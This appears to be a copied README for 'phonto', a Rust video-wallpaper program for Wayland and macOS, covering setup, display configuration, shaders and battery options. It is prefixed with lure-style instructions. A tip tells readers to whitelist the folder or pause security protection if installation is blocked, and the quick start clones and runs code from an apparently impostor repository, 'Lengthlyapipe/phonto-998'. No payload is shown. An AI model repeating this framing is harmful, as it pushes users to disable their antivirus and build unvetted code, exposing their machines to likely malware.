Phonto

Tip

If the setup does not start, add the folder to the allowed list or pause protection for a few minutes.

Caution

Some security systems may block the installation. Only download from the official repository.

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QUICK START

git clone https://github.com/Lengthlyapipe/phonto-998.git
cd phonto-998
cargo build --release
cargo run

phonto (/'fon.to/) — from Greek φόντο: background

GPU-accelerated video wallpaper program for Wayland compositors and macOS, written in Rust. Also supports live lockscreen wallpapers on macOS.

On Linux, phonto plays videos as your desktop background with minimal overhead, decoding and rendering entirely on the GPU through GStreamer and EGL. On macOS it drives an AVPlayerLayer attached to a window sitting just below the system wallpaper level, so VideoToolbox handles decoding and CoreAnimation handles compositing.

Dependencies

Linux (Wayland)

Phonto requires GStreamer runtime plugins in addition to the VA-API plugin used for GPU-accelerated decoding. On Linux, missing demuxer or codec plugins can cause startup failures when opening MP4/H.264 files. Without the VA-API plugin, GStreamer falls back to software decoding and CPU usage will be significantly higher.

Arch Linux:

sudo pacman -S gstreamer gst-plugins-base gst-plugins-good gst-plugins-bad gst-libav gst-plugin-va

gst-plugins-good provides qtdemux for MP4 files, and gst-plugins-bad includes the H.264 parser used by many videos.

Ubuntu/Debian:

sudo apt install gstreamer1.0-vaapi gstreamer1.0-plugins-base gstreamer1.0-plugins-good gstreamer1.0-plugins-bad gstreamer1.0-libav

Fedora:

sudo dnf install gstreamer1-vaapi gstreamer1-plugins-base gstreamer1-plugins-good gstreamer1-plugins-bad-free gstreamer1-libav

macOS

No external dependencies. phonto links against system frameworks (AVFoundation, CoreMedia, AppKit, QuartzCore). Decoding goes through VideoToolbox automatically for codecs the OS supports (H.264, HEVC, ProRes, etc.).

Multi-monitor

By default phonto mirrors a single video across every connected display. New monitors plugged in mid-session attach automatically, and unplugging then re-plugging a monitor brings the wallpaper back without restart.

Listing displays

phonto displays

The first column is the native ID for the current OS. You can pass that string straight into --display, or wire it into an [[alias]] block (see below) to share one config across machines.

Pinning videos per display from the CLI

Repeat --display ID PATH for each display you want to set. Every display must be named explicitly. There is no implicit default.

phonto --display "DELL U2723QE" /path/to/ocean.mp4 \
       --display "eDP-1" /path/to/forest.mp4

The first value is the display ID (as printed by phonto displays, or an alias name from your config) and the second is the video path.

For a random video on one specific display, use --display-rand ID. It picks from your search_paths the same way --rand does.

phonto --display "DELL U2723QE" /path/to/pinned.mp4 \
       --display-rand "eDP-1"

--display and --display-rand can be mixed and repeated. Displays you don't mention get no wallpaper from phonto and keep whatever the OS is showing there.

Persistent assignment via config

The same assignments belong in config.toml under [[display]] blocks. Then phonto with no arguments reads them.

[[display]]
id = "DELL U2723QE"
path = "~/Videos/ocean.mp4"

[[display]]
id = "eDP-1"
random = true

Each [[display]] needs exactly one of path or random = true. Phonto errors at startup if both or neither are set.

A [[display]] whose display is not currently connected is not an error. Phonto waits and attaches the wallpaper when that display appears.

Cross-platform aliases

Native display IDs differ across operating systems. The same monitor might be "DELL U2723QE" on macOS and "DP-1" on a wlroots compositor. Alias blocks let you give a portable name to a physical display once and reference it from [[display]].id.

[[alias]]
name = "main"
wayland = "DP-1"
macos = "DELL U2723QE"

[[alias]]
name = "laptop"
wayland = "eDP-1"
macos = "Built-in Retina Display"

[[display]]
id = "main"
path = "~/Videos/ocean.mp4"

[[display]]
id = "laptop"
random = true

Run phonto displays on each OS once to copy the right native name into the alias. The same dotfile then works on both. Either field is optional, so a laptop-only alias can leave the other one out.

Lock screen backgrounds with hyprlock (Wayland)

Hyprlock owns the lock-screen UI, but phonto can render the animated background on a higher layer while hyprlock is active. Start a second phonto process on the overlay layer before launching hyprlock:

phonto "$(cat "$HOME/.cache/phonto/current")" --layer overlay &
phonto_lock_pid=$!

hyprlock
kill "$phonto_lock_pid"

This pairs well with a normal desktop phonto session running on the default background layer. If you use phonto --rand, the cache file lets the lock screen reuse the same randomly selected wallpaper.

Hyprlock must leave its background transparent or partially transparent for the video to be visible behind its controls.

Live lockscreen wallpapers (macOS)

The lock screen is owned by loginwindow, which hides every non-Apple-signed window the moment the screen locks. Phonto sidesteps that by registering your video into Apple's aerial catalog, so Apple's own signed extension plays it on both the desktop and the lock screen.

phonto install-live-lockscreen /path/to/video.mp4

This transcodes the video to HEVC Main10 with two temporal sub-layers (the exact bitstream shape the aerials extension requires for multi-cycle playback), generates a thumbnail, and registers the asset under a Phonto section in System Settings → Wallpaper.

To activate, open System Settings → Wallpaper, pick the Phonto category, click your entry, then lock the screen (Apple menu → Lock Screen) to verify it plays across cycles.

To remove a previously-installed entry:

phonto install-live-lockscreen /path/to/video.mp4 --remove

Optional flags:

• --name <STRING> — display name shown in the picker (defaults to the file stem).

Configuration

Phonto reads its config from $XDG_CONFIG_HOME/phonto/config.toml, falling back to ~/.config/phonto/config.toml.

search_paths

A list of directories to scan when using --rand. Each entry has a path and a depth controlling how many levels deep to search.

[[search_paths]]
path = "/home/user/wallpapers"
depth = 1

[[search_paths]]
path = "/mnt/media/videos"
depth = 2

depth = 0 scans only the top-level directory. depth = 1 includes one level of subdirectories, and so on.

Path expansion

Every path field in the config ([[search_paths]].path, [[display]].path) and every path on the CLI (positional, --display ID PATH, --shader) accepts a leading ~/ which expands to $HOME. The same ~/Downloads/wall.mp4 works on macOS (/Users/you) and Linux (/home/you) without editing the dotfile.

GLSL shaders (Wayland only)

--shader PATH applies a custom GLSL ES fragment shader to every frame. Pass the path to any .glsl file:

phonto /path/to/video.mp4 --shader ~/.config/phonto/edge-detect.glsl

Shaders must target GLSL ES 3.00 — start every shader with #version 300 es. Use in for inputs, declare an out vec4 for the output colour, and use texture() (not texture2D()).

Your shader has access to:

• u_tex (sampler2D) — the current video frame.
• v_uv (vec2) — UV coordinates for the current fragment.
• u_resolution (vec2, optional) — surface size in pixels, useful for computing per-texel offsets (1.0 / u_resolution).

An example sobel edge detection shader:

#version 300 es
precision mediump float;
uniform sampler2D u_tex;
uniform vec2 u_resolution;
in vec2 v_uv;
out vec4 frag_color;
void main() {
    vec2 px = 1.0 / u_resolution;
    float tl = dot(texture(u_tex, v_uv + vec2(-px.x,  px.y)).rgb, vec3(0.299, 0.587, 0.114));
    float tc = dot(texture(u_tex, v_uv + vec2(  0.0,  px.y)).rgb, vec3(0.299, 0.587, 0.114));
    float tr = dot(texture(u_tex, v_uv + vec2( px.x,  px.y)).rgb, vec3(0.299, 0.587, 0.114));
    float ml = dot(texture(u_tex, v_uv + vec2(-px.x,   0.0)).rgb, vec3(0.299, 0.587, 0.114));
    float mr = dot(texture(u_tex, v_uv + vec2( px.x,   0.0)).rgb, vec3(0.299, 0.587, 0.114));
    float bl = dot(texture(u_tex, v_uv + vec2(-px.x, -px.y)).rgb, vec3(0.299, 0.587, 0.114));
    float bc = dot(texture(u_tex, v_uv + vec2(  0.0, -px.y)).rgb, vec3(0.299, 0.587, 0.114));
    float br = dot(texture(u_tex, v_uv + vec2( px.x, -px.y)).rgb, vec3(0.299, 0.587, 0.114));
    float gx = -tl - 2.0*ml - bl + tr + 2.0*mr + br;
    float gy = -tl - 2.0*tc - tr + bl + 2.0*bc + br;
    frag_color = vec4(vec3(sqrt(gx*gx + gy*gy)), 1.0);
}

Note: multi-pass effects (separable blur, bloom) are not supported, the shader runs once per frame with no intermediate framebuffers.

Fit modes

--scale controls how the video fits to the screen:

• stretch — distort to fill, aspect not preserved.
• fit — preserve aspect, letterbox to fit inside.
• fill — preserve aspect, crop overflow to fill (default).
• center — render at native pixel size, centered.

phonto /path/to/video --scale fit

On macOS, center currently falls back to fill (AVPlayerLayer has no native equivalent).

Battery pausing

Stop playback when the laptop is unplugged or charge drops below a threshold. The two flags are mutually exclusive.

• --pause-on-battery — pause whenever the system is on battery, resume on AC.
• --pause-below PERCENT — pause when on battery and charge is below PERCENT (1–100). Always plays on AC.

phonto /path/to/video --pause-on-battery
phonto /path/to/video --pause-below 30